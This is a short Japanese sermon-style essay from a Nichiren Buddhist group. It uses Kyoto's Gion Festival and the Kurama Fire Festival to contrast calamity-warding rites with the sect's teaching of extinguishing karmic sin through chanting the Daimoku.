災厄(さいやく)

長刀鉾先月京都では祇園祭が開催され、日本全国のみならず世界各国からも多くの観光客が訪れました。今年はこれまで廃止されていた後祭が49年ぶりに復活した事もあり、例年に増すにぎわいを見せたそうです。

そもそもこの祇園祭は平安時代、病気や災厄を払う事を目的に始まったものと伝えられています。これと同様、十月に開催される鞍馬の火祭も、災厄を鎮めるため、内裏に祀られていた神様を北方に遷した事がはじまりと伺いました。

これらのお祭りは、平和な暮らしへの祈りから生まれたもので、人々の切なる願いが込められたものに違いありません。かし、こうした宗教行事と当宗のご信心との違いをあえて申せば、そこに「罪障消滅」という考えがあるかないか、という事です。

 

生まれ変わり死に変わりを繰り返す我々凡夫は、過去世において様々な罪障を積み重ね、この世に生まれて参りました。ですから一生の間にこの罪障を少しで消滅する事が大切であるわけです。

そのためには法華経本門八品において唯一最高の久遠本仏が、上行菩薩(日蓮大士)にお手渡しになられた御題目をお唱えし、他の人にもお勧めする事。一人でも多くの悩める方をこの御題目の御力でお救いし、生まれ変わっても人助けの菩薩行に励む事。

これこそが我々人間が目指す真の生き方であり、全世界の人々にこうした思いを伝え、実行に移していただく、それが当宗の目的とするところです。したがって自己の行動を振り返り、改める事なくして、神様に厄払いのみを頼む考え方を当宗では用いません。

宗旨によりさまざまな考え方がある事を一概に否定はできません。しかし自分の命が今生限りのものではなく、過去や未来と結びついている、と考えれば、現在の境遇をいたずらに悲観することはなくなり、未来に向けて現在の暮らしを少しでも有意義な価値あるものにしようと思えるはずです。こうした考えをもっと多くの方に知っていただきたいと思います。

日々のニュースを見れば、凄惨な事件が後を絶たず、刹那的で向こう見ずな生き方の人がますます増えているように思われます。一人でも多くの方が、当宗のご信心に理解を示し、また実践していただく事を願うばかりです。

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